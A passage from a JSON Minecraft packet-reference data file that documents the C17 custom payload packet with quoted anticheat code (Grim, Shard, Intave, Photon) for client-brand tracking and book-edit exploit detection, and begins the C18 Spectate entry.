WrapperPlayClientPluginMessage(event);\n            handle(packet.getChannelName(), packet.getData());\n        } else if (event.getPacketType() == PacketType.Configuration.Client.PLUGIN_MESSAGE) {\n            WrapperConfigClientPluginMessage packet = new WrapperConfigClientPluginMessage(event);\n            handle(packet.getChannelName(), packet.getData());\n        }\n    }\n\n    private void handle(String channel, byte[] data) {\n        if (!channel.equals(ClientBrand.CHANNEL)) return;\n\n        if (data.length > 64 || data.length == 0) {\n            brand = \"sent \" + data.length + \" bytes as brand\";\n        } else if (!hasBrand) {\n            byte[] minusLength = new byte[data.length - 1];\n            System.arraycopy(data, 1, minusLength, 0, minusLength.length);\n\n            brand = new String(minusLength).replace(\" (Velocity)\", \"\"); // removes velocity's brand suffix\n            brand = MessageUtil.stripColor(brand); // strip color codes from client brand\n            if (!GrimAPI.INSTANCE.getConfigManager().isIgnoredClient(brand)) {\n                String message = GrimAPI.INSTANCE.getConfigManager().getConfig().getStringElse(\"client-brand-format\", \"%prefix% &f%player% joined using %brand%\");\n                Component component = MessageUtil.replacePlaceholders(player, MessageUtil.miniMessage(message));\n\n                GrimAPI.INSTANCE.getAlertManager().sendBrand(component, null);\n            }\n            // Push the now-known brand into the session row. The initial onJoin\n            // upsert ran from PlayerJoinEvent, before the brand packet arrived,\n            // so client_brand was null on disk. observeBrandFromCheck re-issues\n            // the upsert with the same session_id (idempotent) but the brand\n            // column now filled in. NOOP impl skips the work entirely.\n            GrimAPI.INSTANCE.getDataStoreLifecycle().liveWriteHooks().observeBrandFromCheck(player);\n        }\n\n        // https://github.com/MinecraftForge/MinecraftForge/issues/9309\n        // \"Forge 40.1.22 1.18.2+ has extended player reach\"\n        // quality development from forge devs\n        // inbuilt reach hacks for over a year across 2 (3 if you include 1.19.3/1.20) major versions\n        // Fixed in 1.19.4 possibly? Definitely fixed in 1.20+.\n        final boolean hasReachHacks = brand.contains(\"forge\")\n                && player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_18_2)\n                && player.getClientVersion().isOlderThan(ClientVersion.V_1_19_4);\n        if (hasReachHacks && GrimAPI.INSTANCE.getConfigManager().isBlockBlacklistedForgeClients()) {\n            player.disconnect(MessageUtil.miniMessage(MessageUtil.replacePlaceholders(player, GrimAPI.INSTANCE.getConfigManager().getDisconnectBlacklistedForge())));\n        }\n\n        hasBrand = true;\n    }\n}\n\n// NOTE (AI): The 64-byte cap and the Forge reach disconnect are the notable details; the file references the MinecraftForge issue tracking the reach bug.",
       "code_source": "GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/checks/impl/misc/ClientBrand.java",
       "variations": "Shard ClientBrand.kt is a near-identical port with the same Forge reach disconnect; Photon BrandChannelData stores the last 10 brand messages for sentinel checks; Intave PayloadInReader extracts the channel tag across protocol versions."
      },
      {
       "name": "ExploitB (Grim)",
       "found_in": [
        "GrimAnticheat-Grim"
       ],
       "purpose": "Validates book edit and book sign payloads against the player's tracked inventory, killing item-book exploits.",
       "how_it_works": "On 1.13 and older the book data arrives in the C17 payload on the MC|BEdit and MC|BSign channels, parsed by PayloadBookEdit into an ItemStack. The check then compares slot, item type, amount, meta, author, pages, title and NBT against the copy of the book taken when the player last used the item, with 16 distinct violation codes: expected slot, no pages, title too long, invalid page, modified NBT, and others. On 1.14+ it runs the same validation on the dedicated EDIT_BOOK packet.",
       "detects": "Book duplication, item NBT manipulation and inventory desync exploits delivered through the book payload.",
       "detailed_code": "// ===== FILE: GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/checks/impl/exploit/ExploitB.java =====\npackage ac.grim.grimac.checks.impl.exploit;\n\nimport ac.grim.grimac.api.storage.verbose.Verbose;\nimport ac.grim.grimac.checks.Check;\nimport ac.grim.grimac.checks.CheckData;\nimport ac.grim.grimac.checks.impl.verbose.VerboseCodecs;\nimport ac.grim.grimac.checks.type.PacketReceiveListener;\nimport ac.grim.grimac.player.GrimPlayer;\nimport ac.grim.grimac.utils.payload.PayloadBookEdit;\nimport com.github.retrooper.packetevents.PacketEvents;\nimport com.github.retrooper.packetevents.event.PacketReceiveEvent;\nimport com.github.retrooper.packetevents.manager.server.ServerVersion;\nimport com.github.retrooper.packetevents.protocol.component.ComponentTypes;\nimport com.github.retrooper.packetevents.protocol.item.ItemStack;\nimport com.github.retrooper.packetevents.protocol.item.type.ItemType;\nimport com.github.retrooper.packetevents.protocol.item.type.ItemTypes;\nimport com.github.retrooper.packetevents.protocol.nbt.NBT;\nimport com.github.retrooper.packetevents.protocol.nbt.NBTCompound;\nimport com.github.retrooper.packetevents.protocol.nbt.NBTList;\nimport com.github.retrooper.packetevents.protocol.nbt.NBTString;\nimport com.github.retrooper.packetevents.protocol.packettype.PacketType;\nimport com.github.retrooper.packetevents.protocol.player.ClientVersion;\nimport com.github.retrooper.packetevents.protocol.player.InteractionHand;\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientEditBook;\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientPlayerBlockPlacement;\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientPluginMessage;\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientUseItem;\nimport com.google.gson.JsonSyntaxException;\nimport com.google.gson.stream.JsonReader;\nimport com.google.gson.stream.JsonToken;\nimport org.jetbrains.annotations.NotNull;\nimport org.jetbrains.annotations.Nullable;\n\nimport java.io.IOException;\nimport java.io.StringReader;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Set;\n\n@CheckData(name = \"ExploitB\", stableKey = \"grim.exploit.invalid_book_edit\", description = \"Invalid book edit\")\npublic class ExploitB extends Check implements PacketReceiveListener {\n    private static final int BOOK_EXPECTED_SLOT = 0;\n    private static final int BOOK_EXPECTED_TYPE = 1;\n    private static final int BOOK_EXPECTED_AMOUNT = 2;\n    private static final int BOOK_EXPECTED_META = 3;\n    private static final int BOOK_NO_NBT = 4;\n    private static final int BOOK_NO_PAGES = 5;\n    private static final int BOOK_NO_TITLE = 6;\n    private static final int BOOK_EXPECTED_AUTHOR = 7;\n    private static final int BOOK_INVALID_PAGE = 8;\n    private static final int BOOK_MODIFIED_NBT = 9;\n    private static final int BOOK_TITLE_TOO_LONG = 10;\n    private static final int BOOK_INVALID_TITLE = 11;\n    private static final int BOOK_NOT_EDITING = 12;\n    private static final int BOOK_TOO_MANY_PAGES = 13;\n    private static final int BOOK_PAGE_TOO_LONG = 14;\n    private static final int BOOK_EMPTY_LAST_PAGE = 15;\n\n    // One shape per BOOK_* kind; shape index == constant value.\n    private static final Verbose V = Verbose\n            .of(\"expectedSlot={sint}, slot={sint}\")      // BOOK_EXPECTED_SLOT\n            .or(\"expectedType={item}, type={item}\")      // BOOK_EXPECTED_TYPE\n            .or(\"expectedAmount={sint}, amount={sint}\")  // BOOK_EXPECTED_AMOUNT\n            .or(\"expectedMeta={sint}, meta={sint}\")      // BOOK_EXPECTED_META\n            .or(\"no nbt\")                                // BOOK_NO_NBT\n            .or(\"no pages\")                              // BOOK_NO_PAGES\n            .or(\"no title\")                              // BOOK_NO_TITLE\n            .or(\"expectedAuthor={str}, author={str}\")    // BOOK_EXPECTED_AUTHOR\n            .or(\"invalid page\")                          // BOOK_INVALID_PAGE\n            .or(\"modified nbt\")                          // BOOK_MODIFIED_NBT\n            .or(\"title too long\")                        // BOOK_TITLE_TOO_LONG\n            .or(\"invalid title '{str}'\")                 // BOOK_INVALID_TITLE\n            .or(\"not editing book\")                      // BOOK_NOT_EDITING\n            .or(\"too many pages\")                        // BOOK_TOO_MANY_PAGES\n            .or(\"page too long\")                         // BOOK_PAGE_TOO_LONG\n            .or(\"empty last page\");                      // BOOK_EMPTY_LAST_PAGE\n\n    private static final int UNUSED_TYPE = -1;\n    private static final boolean IS_1_8 = PacketEvents.getAPI().getServerManager().getVersion().isOlderThanOrEquals(ServerVersion.V_1_8_8);\n    private ItemStack oldBook;\n    private InteractionHand hand;\n\n    public ExploitB(GrimPlayer player) {\n        super(player);\n    }\n\n    @Override\n    public void onPacketReceive(PacketReceiveEvent event) {\n        if (IS_1_8 ? event.getPacketType() == PacketType.Play.Client.PLAYER_BLOCK_PLACEMENT\n                && new WrapperPlayClientPlayerBlockPlacement(event).getFaceId() == 255\n                : event.getPacketType() == PacketType.Play.Client.USE_ITEM) {\n            hand = IS_1_8 ? InteractionHand.MAIN_HAND : new WrapperPlayClientUseItem(event).getHand();\n            oldBook = player.inventory.getItemInHand(hand).copy();\n        }\n\n        if (event.getPacketType() == PacketType.Play.Client.EDIT_BOOK) {\n            checkEditBook(new WrapperPlayClientEditBook(event), event);\n            oldBook = null;\n        }\n\n        // 1.13-\n        if (event.getPacketType() == PacketType.Play.Client.PLUGIN_MESSAGE && PacketEvents.getAPI().getServerManager().getVersion().isOlderThan(ServerVersion.V_1_13)) {\n            WrapperPlayClientPluginMessage wrapper = new WrapperPlayClientPluginMessage(event);\n\n            boolean signing;\n            switch (wrapper.getChannelName()) {\n                case \"MC|BSign\" -> signing = true;\n                case \"MC|BEdit\" -> signing = false;\n                default -> {\n                    return;\n                }\n            }\n\n            ItemStack newBook = new PayloadBookEdit(wrapper.getData()).itemStack();\n            checkItemStack(newBook, signing, event);\n            oldBook = null;\n        }\n    }\n\n    private void checkEditBook(WrapperPlayClientEditBook wrapper, PacketReceiveEvent event) {\n        if (checkEditingBook(event)) return;\n\n        int expectedSlot = hand == InteractionHand.OFF_HAND ? 40 : player.packetStateData.lastSlotSelected;\n        int slot = wrapper.getSlot();\n        if (slot != expectedSlot) {\n            flagExpectedSlot(event, expectedSlot, slot);\n            return;\n        }\n\n        if (wrapper.getSigning() == null) { // 1.17+\n            if (wrapper.getTitle() != null && checkTitle(wrapper.getTitle(), event)) return;\n\n            List<String> pages = wrapper.getPages();\n            if (pages.size() > 1 && checkEmptyLastPage(pages.get(pages.size() - 1), event)) return;\n            if (checkTooManyPages(pages.size(), event)) return;\n            for (String page : pages) {\n                if (checkPage(page, event)) return;\n            }\n        } else { // 1.13 - 1.16.5\n            checkItemStack(wrapper.getItemStack(), wrapper.getSigning(), event);\n        }\n    }\n\n    private void checkItemStack(ItemStack newBook, boolean signing, PacketReceiveEvent event) {\n        if (checkEditingBook(event)) return;\n\n        ItemType expectedType = signing && IS_1_8 ? ItemTypes.WRITTEN_BOOK : ItemTypes.WRITABLE_BOOK;\n        if (!newBook.is(expectedType)) {\n            flagExpectedType(event, expectedType, newBook.getType());\n            return;\n        }\n\n        if (newBook.getAmount() != oldBook.getAmount()) {\n            flagExpectedAmount(event, oldBook.getAmount(), newBook.getAmount());\n            return;\n        }\n\n        if (newBook.getLegacyData() != oldBook.getLegacyData()) {\n            flagExpectedMeta(event, oldBook.getLegacyData(), newBook.getLegacyData());\n            return;\n        }\n\n        NBTCompound newBookNBT = newBook.getNBT();\n        if (newBookNBT == null) {\n            flagLiteral(event, BOOK_NO_NBT);\n            return;\n        }\n\n        NBTList<@NotNull NBTString> newPagesNBT = newBookNBT.getStringListTagOrNull(\"pages\");\n        if (newPagesNBT == null) {\n            flagLiteral(event, BOOK_NO_PAGES);\n            return;\n        }\n\n        if (checkTooManyPages(newPagesNBT.size(), event)) return;\n\n        if (signing) {\n            String title = newBookNBT.getStringTagValueOrNull(\"title\");\n            if (title == null) {\n                flagLiteral(event, BOOK_NO_TITLE);\n                return;\n            }\n\n            if (checkTitle(title, event)) return;\n\n            String author = newBookNBT.getStringTagValueOrNull(\"author\");\n            if (!player.getName().equals(author)) {\n                flagExpectedAuthor(event, player.getName(), author == null ? \"null\" : author);\n                return;\n            }\n        }\n\n        String last = null;\n        for (NBTString string : newPagesNBT.getTags()) {\n            if (IS_1_8 && signing) {\n                try {\n                    JsonReader reader = new JsonReader(new StringReader(string.getValue()));\n                    if (reader.peek() != JsonToken.BEGIN_OBJECT) throw new JsonSyntaxException(\"\");\n                    reader.beginObject();\n                    if (reader.peek() != JsonToken.NAME || !reader.nextName().equals(\"text\")\n                            || reader.peek() != JsonToken.STRING) throw new JsonSyntaxException(\"\");\n                    last = reader.nextString();\n                    if (reader.peek() != JsonToken.END_OBJECT) throw new JsonSyntaxException(\"\");\n                } catch (JsonSyntaxException e) {\n                    flagLiteral(event, BOOK_INVALID_PAGE);\n                    return;\n                } catch (IOException e) {\n                    throw new RuntimeException(e);\n                }\n            } else {\n                last = string.getValue();\n            }\n\n            if (checkPage(last, event)) return;\n        }\n\n        if (last != null && checkEmptyLastPage(last, event)) {\n            return;\n        }\n\n        Set<Map.Entry<String, NBT>> newNBT = newBookNBT.getTags().entrySet();\n        HashMap<String, NBT> oldNBT = oldBook.getNBT() == null ? new HashMap<>() : new HashMap<>(oldBook.getNBT().getTags());\n        oldNBT.remove(\"pages\");\n        oldNBT.remove(\"title\");\n        oldNBT.remove(\"author\");\n        for (var entry : newNBT) {\n            if (!entry.getKey().equals(\"pages\") && !entry.getKey().equals(\"title\") && !entry.getKey().equals(\"author\")) {\n                NBT nbt = oldNBT.remove(entry.getKey());\n                if (nbt == null || !nbt.equals(entry.getValue())) {\n                    flagLiteral(event, BOOK_MODIFIED_NBT);\n                    return;\n                }\n            }\n        }\n\n        if (!oldNBT.isEmpty()) {\n            flagLiteral(event, BOOK_MODIFIED_NBT);\n        }\n    }\n\n    private boolean checkTitle(@NotNull String title, PacketReceiveEvent event) {\n        if (title.length() > (player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_16) ? 15 : 16)) {\n            flagLiteral(event, BOOK_TITLE_TOO_LONG);\n            return true;\n        } else if (title.isEmpty() || !title.trim().equals(title) || containsInvalidCharacters(title, false)) {\n            flagInvalidTitle(event, title);\n            return true;\n        }\n\n        return false;\n    }\n\n    private boolean checkEditingBook(PacketReceiveEvent event) {\n        if (oldBook == null || !oldBook.is(ItemTypes.WRITABLE_BOOK)) {\n            flagLiteral(event, BOOK_NOT_EDITING);\n            return true;\n        }\n        return false;\n    }\n\n    private boolean checkTooManyPages(int pages, PacketReceiveEvent event) {\n        NBTList<@NotNull NBTString> oldPagesNBT;\n        int oldPages = oldBook.getVersion().isNewerThanOrEquals(ClientVersion.V_1_20_5)\n                ? oldBook.getComponent(ComponentTypes.WRITABLE_BOOK_CONTENT).map(content -> content.getPages().size()).orElse(0)\n                : oldBook.getNBT() != null && (oldPagesNBT = oldBook.getNBT().getStringListTagOrNull(\"pages\")) != null\n                ? oldPagesNBT.size() : 0;\n\n        if (pages > oldPages && pages > (player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_14) ? 100 : 50)) {\n            flagLiteral(event, BOOK_TOO_MANY_PAGES);\n            return true;\n        }\n\n        return false;\n    }\n\n    private boolean checkPage(String page, PacketReceiveEvent event) {\n        if (page.length() > (player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_14) ? 1023 : 256)) {\n            flagLiteral(event, BOOK_PAGE_TOO_LONG);\n            return true;\n        }\n\n        // commented out because existing characters are not considered\n//        if (containsInvalidCharacters(page, true)) {\n//            if (flag(\"invalid page characters\") && shouldModifyPackets()) {\n//                event.setCancelled(true);\n//                player.onPacketCancel();\n//            }\n//            return true;\n//        }\n\n        return false;\n    }\n\n    private boolean checkEmptyLastPage(String page, PacketReceiveEvent event) {\n        if (page.isEmpty()) {\n            flagLiteral(event, BOOK_EMPTY_LAST_PAGE);\n            return true;\n        }\n\n        return false;\n    }\n\n    private void flagExpectedSlot(PacketReceiveEvent event, int expectedSlot, int slot) {\n        flagBookEdit(event, V.write(verbose(), BOOK_EXPECTED_SLOT).sint(expectedSlot).sint(slot));\n    }\n\n    private void flagExpectedType(PacketReceiveEvent event, @NotNull ItemType expectedType, @Nullable ItemType type) {\n        flagBookEdit(event, V.write(verbose(), BOOK_EXPECTED_TYPE).sint(typeId(expectedType)).sint(typeId(type)));\n    }\n\n    private void flagExpectedAmount(PacketReceiveEvent event, int expectedAmount, int amount) {\n        flagBookEdit(event, V.write(verbose(), BOOK_EXPECTED_AMOUNT).sint(expectedAmount).sint(amount));\n    }\n\n    private void flagExpectedMeta(PacketReceiveEvent event, int expectedMeta, int meta) {\n        flagBookEdit(event, V.write(verbose(), BOOK_EXPECTED_META).sint(expectedMeta).sint(meta));\n    }\n\n    private void flagExpectedAuthor(PacketReceiveEvent event, @NotNull String expectedAuthor, @NotNull String author) {\n        flagBookEdit(event, V.write(verbose(), BOOK_EXPECTED_AUTHOR).str(expectedAuthor).str(author));\n    }\n\n    private void flagInvalidTitle(PacketReceiveEvent event, @NotNull String title) {\n        flagBookEdit(event, V.write(verbose(), BOOK_INVALID_TITLE).str(title));\n    }\n\n    private void flagLiteral(PacketReceiveEvent event, int kind) {\n        flagBookEdit(event, V.write(verbose(), kind));\n    }\n\n    private void flagBookEdit(PacketReceiveEvent event, Verbose.Writer writer) {\n        if (flag(writer) && shouldModifyPackets()) {\n            event.setCancelled(true);\n            player.onPacketCancel();\n        }\n    }\n\n    private int typeId(@Nullable ItemType type) {\n        return type == null ? UNUSED_TYPE : VerboseCodecs.item(type, player.getClientVersion());\n    }\n\n    private static boolean containsInvalidCharacters(@NotNull String string, boolean allowLineBreak) {\n        for (int i = 0; i < string.length(); ++i) {\n            char character = string.charAt(i);\n            if (character == 167 || character < 32 && (!allowLineBreak || character != 10) || character == 127) {\n                return true;\n            }\n        }\n\n        return false;\n    }\n}\n\n// NOTE (AI): Only the 1.13- branch reads the C17 payload; the same check body also covers the modern EDIT_BOOK packet, which is why the corpus matched it under the custom payload search.",
       "code_source": "GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/checks/impl/exploit/ExploitB.java",
       "variations": "Intave scans payloads in PayloadInReader for custom-client channels; Kauri and Photon do not validate book payloads and rely on inventory checks instead."
      },
      {
       "name": "ClientBrand (Shard)",
       "found_in": [
        "KaelusAI-Shard"
       ],
       "purpose": "Kotlin brand check that records the client brand, alerts staff, and disconnects Forge clients on the reach-exploit version range.",
       "how_it_works": "PacketCheck subscribing to PLUGIN_MESSAGE in the play and configuration states. It matches the versioned brand channel, accepts the first brand only, marks data over 64 bytes or empty as invalid, strips the length byte and the (Velocity) suffix, strips color, stores it on the player, alerts unless ignored, and disconnects Forge brands between 1.18.2 and 1.19.4 when configured.",
       "detects": "Spoofed brand payloads and Forge clients with the extended reach bug.",
       "detailed_code": "// ===== FILE: KaelusAI-Shard, src/main/kotlin/ac/shard/checks/impl/misc/ClientBrand.kt =====\n/*\n * This file is part of GrimAC - https://github.com/GrimAnticheat/Grim\n * Copyright (C) 2021-2026 GrimAC, DefineOutside and contributors\n *\n * GrimAC is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * GrimAC is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see <http://www.gnu.org/licenses/>.\n */\npackage ac.shard.checks.impl.misc\n\nimport ac.shard.alert.AlertManager\nimport ac.shard.alert.AlertType\nimport ac.shard.checks.AbstractCheck\nimport ac.shard.checks.CheckData\nimport ac.shard.checks.CheckFactory\nimport ac.shard.checks.type.PacketCheck\nimport ac.shard.config.ConfigManager\nimport ac.shard.player.ShardPlayer\nimport ac.shard.utils.ChatUtil\nimport ac.shard.utils.Message\nimport ac.shard.utils.MessageUtil\nimport com.github.retrooper.packetevents.PacketEvents\nimport com.github.retrooper.packetevents.event.PacketReceiveEvent\nimport com.github.retrooper.packetevents.manager.server.ServerVersion\nimport com.github.retrooper.packetevents.protocol.packettype.PacketType\nimport com.github.retrooper.packetevents.protocol.player.ClientVersion\nimport com.github.retrooper.packetevents.wrapper.configuration.client.WrapperConfigClientPluginMessage\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientPluginMessage\nimport java.nio.charset.StandardCharsets\nimport net.kyori.adventure.text.Component\n\n@CheckData(name = \"ClientBrand_Internal\")\nclass ClientBrand(\n  shardPlayer: ShardPlayer,\n  private val configManager: ConfigManager,\n  private val alertManager: AlertManager,\n) : AbstractCheck(shardPlayer), PacketCheck {\n  companion object {\n    private val CHANNEL =\n      if (PacketEvents.getAPI().serverManager.version.isNewerThanOrEquals(ServerVersion.V_1_13)) {\n        \"minecraft:brand\"\n      } else {\n        \"MC|Brand\"\n      }\n  }\n\n  var brand: String = \"vanilla\"\n    private set\n\n  private var hasBrand = false\n\n  interface Factory : CheckFactory {\n    override fun create(player: ShardPlayer): ClientBrand\n  }\n\n  override fun onPacketReceive(event: PacketReceiveEvent) {\n    if (event.packetType == PacketType.Play.Client.PLUGIN_MESSAGE) {\n      val packet = WrapperPlayClientPluginMessage(event)\n      handle(packet.channelName, packet.data)\n    } else if (event.packetType == PacketType.Configuration.Client.PLUGIN_MESSAGE) {\n      val packet = WrapperConfigClientPluginMessage(event)\n      handle(packet.channelName, packet.data)\n    }\n  }\n\n  private fun handle(channel: String, data: ByteArray) {\n    if (channel != CHANNEL || hasBrand) {\n      return\n    }\n\n    val shardPlayer = shardPlayer\n    hasBrand = true\n\n    if (data.size > 64 || data.isEmpty()) {\n      brand = \"invalid (${data.size} bytes)\"\n    } else {\n      val brandBytes = ByteArray(data.size - 1)\n      System.arraycopy(data, 1, brandBytes, 0, brandBytes.size)\n\n      brand = String(brandBytes, StandardCharsets.UTF_8).replace(\" (Velocity)\", \"\")\n      brand = ChatUtil.stripColor(brand) ?: brand\n    }\n\n    shardPlayer.brand = brand\n\n    if (!configManager.isClientIgnored(brand)) {\n      val component: Component =\n        MessageUtil.getMessage(\n          Message.BRAND_NOTIFICATION,\n          \"player\",\n          shardPlayer.player.name,\n          \"brand\",\n          brand,\n        )\n      alertManager.send(component, AlertType.BRAND)\n    }\n\n    val hasReachExploit =\n      brand.contains(\"forge\") &&\n        shardPlayer.user.clientVersion.isNewerThanOrEquals(ClientVersion.V_1_18_2) &&\n        shardPlayer.user.clientVersion.isOlderThan(ClientVersion.V_1_19_4)\n\n    if (hasReachExploit && configManager.isDisconnectBlacklistedForge()) {\n      shardPlayer.disconnect(MessageUtil.getMessage(Message.BRAND_DISCONNECT_FORGE))\n    }\n  }\n}\n\n// NOTE (AI): Shard is a fork lineage of Grim, and the file header carries the GrimAC GPL notice; the logic mirrors Grim's ClientBrand with Kotlin idioms.",
       "code_source": "KaelusAI-Shard, src/main/kotlin/ac/shard/checks/impl/misc/ClientBrand.kt",
       "variations": "Grim's ClientBrand is the original this file is derived from; LightAntiCheat ClientBrandRecognizer matches known client brand strings; Photon BrandChannelData feeds brand messages into sentinel checks."
      },
      {
       "name": "PayloadInReader (Intave)",
       "found_in": [
        "intave-intave"
       ],
       "purpose": "ProtocolLib reader that extracts the plugin channel tag and payload bytes from the custom payload packet across all protocol versions.",
       "how_it_works": "AbstractPacketReader on the payload packet. tag() reads the channel name from string, MinecraftKey or CustomPacketPayloadWrapper fields depending on the protocol version, strips the minecraft: prefix, and returns unsupported on 1.21+ when the layout changed. readBytes and readStringNormal pull the PacketDataSerializer buffer via reflection for downstream parsers, and readStringWithExtraByte reads the length-prefixed brand-style string.",
       "detects": "Feeds channel and payload data to Intave's custom-client detection, brand tracking and payload-based checks.",
       "detailed_code": "// ===== FILE: intave-intave, src/main/java/de/jpx3/intave/packet/reader/PayloadInReader.java =====\npackage de.jpx3.intave.packet.reader;\n\nimport com.comphenix.protocol.wrappers.CustomPacketPayloadWrapper;\nimport com.google.common.base.Charsets;\nimport de.jpx3.intave.adapter.MinecraftVersions;\nimport de.jpx3.intave.klass.Lookup;\nimport io.netty.buffer.ByteBuf;\n\nimport java.nio.charset.Charset;\n\npublic final class PayloadInReader extends AbstractPacketReader {\n  public String tag() {\n    String tag;\n    if (packet().getStrings().getValues().isEmpty()) {\n      if (MinecraftVersions.VER1_21.atOrAbove()) {\n        return \"unsupported\";\n      }\n      Object minecraftKey = null;\n      if (packet().getMinecraftKeys().getValues().isEmpty()) {\n        for (CustomPacketPayloadWrapper value : packet().getCustomPacketPayloads().getValues()) {\n          minecraftKey = value.getId();\n          if (minecraftKey != null) {\n            break;\n          }\n        }\n        if (minecraftKey == null) {\n          return \"error\";\n        }\n      } else {\n        minecraftKey = packet().getMinecraftKeys().getValues().get(0);\n      }\n      try {\n        tag = (String) minecraftKey.getClass().getMethod(\"toString\").invoke(minecraftKey);\n      } catch (Exception exception) {\n        exception.printStackTrace();\n        tag = \"error\";\n      }\n    } else {\n      tag = packet().getStrings().getValues().get(0);\n    }\n    if (tag.startsWith(\"minecraft:\")) {\n      tag = tag.substring(10);\n    }\n    return tag;\n  }\n\n  public ByteBuf readBytes() {\n    return (ByteBuf) packet().getSpecificModifier(Lookup.serverClass(\"PacketDataSerializer\")).getValues().get(0);\n  }\n\n  public String readStringNormal() {\n    Object packetDataSerializer = packet().getSpecificModifier(Lookup.serverClass(\"PacketDataSerializer\")).getValues().get(0);\n    try {\n      return (String) packetDataSerializer.getClass().getMethod(\"toString\", Charset.class).invoke(packetDataSerializer, Charset.defaultCharset());\n    } catch (Exception exception) {\n      return \"error\";\n    }\n  }\n\n  public String readStringWithExtraByte() {\n    ByteBuf bytes = (ByteBuf) packet().getSpecificModifier(Lookup.serverClass(\"PacketDataSerializer\")).getValues().get(0);\n    try {\n      bytes.markReaderIndex();\n      int length = bytes.readByte();\n      return bytes.toString(Charsets.UTF_8);\n    } catch (Exception exception) {\n      exception.printStackTrace();\n    }\n    return \"\";\n  }\n}\n\n// NOTE (AI): The version branching exists because the channel field moved from a string to a MinecraftKey to a custom payload wrapper across protocol versions.",
       "code_source": "intave-intave, src/main/java/de/jpx3/intave/packet/reader/PayloadInReader.java",
       "variations": "Grim and Shard use PacketEvents wrappers instead of ProtocolLib reflection; Photon BrandChannelData listens via ParsedPluginMessageListener."
      },
      {
       "name": "BrandChannelData (Photon)",
       "found_in": [
        "Photon-GitHub-AntiCheatAddition"
       ],
       "purpose": "Stores the last brand channel messages per user so sentinel checks can fingerprint modded clients.",
       "how_it_works": "A RingBuffer capped at 10 holds brand channel messages. A ParsedPluginMessageListener implementation updates the user's data on every brand-channel message; hasBrandChannelMessage checks membership and listBrandChannelMessages joins them for display. The ring buffer exists so a malicious client spamming the brand channel cannot exhaust memory.",
       "detects": "Provides the brand message history used by Photon sentinel modules to detect known cheat clients.",
       "detailed_code": "// ===== FILE: Photon-GitHub-AntiCheatAddition, src/main/java/de/photon/anticheataddition/user/data/subdata/BrandChannelData.java =====\npackage de.photon.anticheataddition.user.data.subdata;\n\nimport de.photon.anticheataddition.modules.sentinel.ParsedPluginMessageListener;\nimport de.photon.anticheataddition.user.User;\nimport de.photon.anticheataddition.util.datastructure.buffer.RingBuffer;\nimport org.bukkit.entity.Player;\nimport org.jetbrains.annotations.NotNull;\n\n/**\n * Represents a data class to manage and save brand channel messages.\n */\npublic class BrandChannelData\n{\n    // Use a RingBuffer here as a malicious client could spam the brand channel with messages.\n    private final RingBuffer<String> brandChannelMessages = new RingBuffer<>(10);\n\n    // This method is private as only the listener below is supposed to add messages.\n    private void addBrandChannelMessage(String message)\n    {\n        brandChannelMessages.add(message);\n    }\n\n    public boolean hasBrandChannelMessage(String message)\n    {\n        return brandChannelMessages.contains(message);\n    }\n\n    public String listBrandChannelMessages()\n    {\n        return String.join(\", \", brandChannelMessages);\n    }\n\n    /**\n     * Listens for brand channel plugin messages and updates the {@link User}'s {@link BrandChannelData} accordingly.\n     */\n    public static class BrandChannelMessageListener implements ParsedPluginMessageListener\n    {\n        @Override\n        public void onPluginMessageReceived(@NotNull String channel, @NotNull Player player, @NotNull String message)\n        {\n            final var user = User.getUser(player);\n            if (user == null) return;\n\n            user.getBrandChannelData().addBrandChannelMessage(message);\n        }\n    }\n}\n\n// NOTE (AI): The listener is registered as a ParsedPluginMessageListener so it receives already-decoded channel messages, not raw payload bytes.",
       "code_source": "Photon-GitHub-AntiCheatAddition, src/main/java/de/photon/anticheataddition/user/data/subdata/BrandChannelData.java",
       "variations": "Grim, Shard and LightAntiCheat store a single normalized brand string instead of a message history."
      }
     ]
    }
   },
   "wiki_notes": [
    "The vanilla server enforces a 32767-byte length limit on the payload data for unrecognized channels.",
    "MCP 1.8.9 C17PacketCustomPayload implements Packet<INetHandlerPlayServer> dispatching to INetHandlerPlayServer.processVanilla250Packet; wire serde is readPacketData/writePacketData via readBytes, readStringFromBuffer, readableBytes.",
    "1.8.9 callers: GuiCommandBlock.actionPerformed sends new C17PacketCustomPayload (line 95) +5 more: https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/client/gui/GuiCommandBlock.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/C17PacketCustomPayload/",
   "mcp_path": "net/minecraft/network/play/client/C17PacketCustomPayload.java",
   "group": "play-server",
   "logic_classes": [
    "NetHandlerPlayClient"
   ]
  },
  {
   "id": "C18PacketSpectate",
   "hex": "0x18",
   "dec": 24,
   "dir": "SERVERBOUND",
   "state": "PLAY",
   "name": "Spectate",
   "desc": "Spectator mode player teleports to another entity or player by UUID. Only works in spectator gamemode (3).",
   "tags": [
    "player",
    "spectator",
    "entity",
    "position"
   ],
   "fields": [
    {
     "name": "targetUUID",
     "type": "UUID",
     "desc": "UUID of the entity to spectate/follow"
    }
   ],
   "encoding": [
    [
     "Target UUID",
     "UUID",
     "UUID as two longs (most/least significant bits)"
    ]
   ],
   "mcp": [
    "NetHandlerPlayServer.processSpectate()"
   ],
   "handler": "INetHandlerPlayServer",
